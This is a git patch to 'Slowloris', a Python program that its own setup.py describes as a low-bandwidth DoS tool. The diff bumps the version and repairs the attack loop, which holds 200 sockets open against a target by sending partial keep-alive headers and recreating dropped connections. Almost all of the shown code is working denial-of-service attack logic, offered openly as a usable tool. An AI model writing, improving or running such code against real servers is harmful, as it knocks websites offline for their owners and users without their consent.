From 82488f9b9c8984378028a63ebab231a56e53565d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?G=C3=B6kberk=20Yalt=C4=B1rakl=C4=B1?= <webdosusb@gmail.com>
Date: Thu, 29 Sep 2016 11:21:03 +0100
Subject: [PATCH] Fixed #2.

---
 setup.py     |  2 +-
 slowloris.py | 13 +++++++++----
 2 files changed, 10 insertions(+), 5 deletions(-)

diff --git a/setup.py b/setup.py
index 38639ed..75907fe 100644
--- a/setup.py
+++ b/setup.py
@@ -3,7 +3,7 @@ setup(
     name = "Slowloris",
     py_modules = ["slowloris"],
     entry_points = {"console_scripts": ["slowloris=slowloris:main"]},
-    version = "0.1.1",
+    version = "0.1.2",
     description = "Low bandwidth DoS tool. Slowloris rewrite in Python.",
     author = "Gokberk Yaltirakli",
     author_email = "webdosusb@gmail.com",
diff --git a/slowloris.py b/slowloris.py
index d93624d..6b26b29 100644
--- a/slowloris.py
+++ b/slowloris.py
@@ -30,6 +30,7 @@ def main():
     if len(sys.argv) != 2:
         print("Usage: {} example.com".format(sys.argv[0]))
         return
+
     ip = sys.argv[1]
     socket_count = 200
     log("Attacking {} with {} sockets.".format(ip, socket_count))
@@ -45,17 +46,21 @@ def main():
 
     while True:
         log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets)))
-        for s in list_of_sockets:
+        for s in list(list_of_sockets):
             try:
                 s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
             except socket.error:
                 list_of_sockets.remove(s)
-        for i in range(socket_count - len(list_of_sockets)):
+
+        for _ in range(socket_count - len(list_of_sockets)):
             log("Recreating socket...")
             try:
                 s = init_socket(ip)
                 if s:
                     list_of_sockets.append(s)
-            except:
-                pass
+            except socket.error:
+                break
         time.sleep(15)
+
+if __name__ == "__main__":
+    main()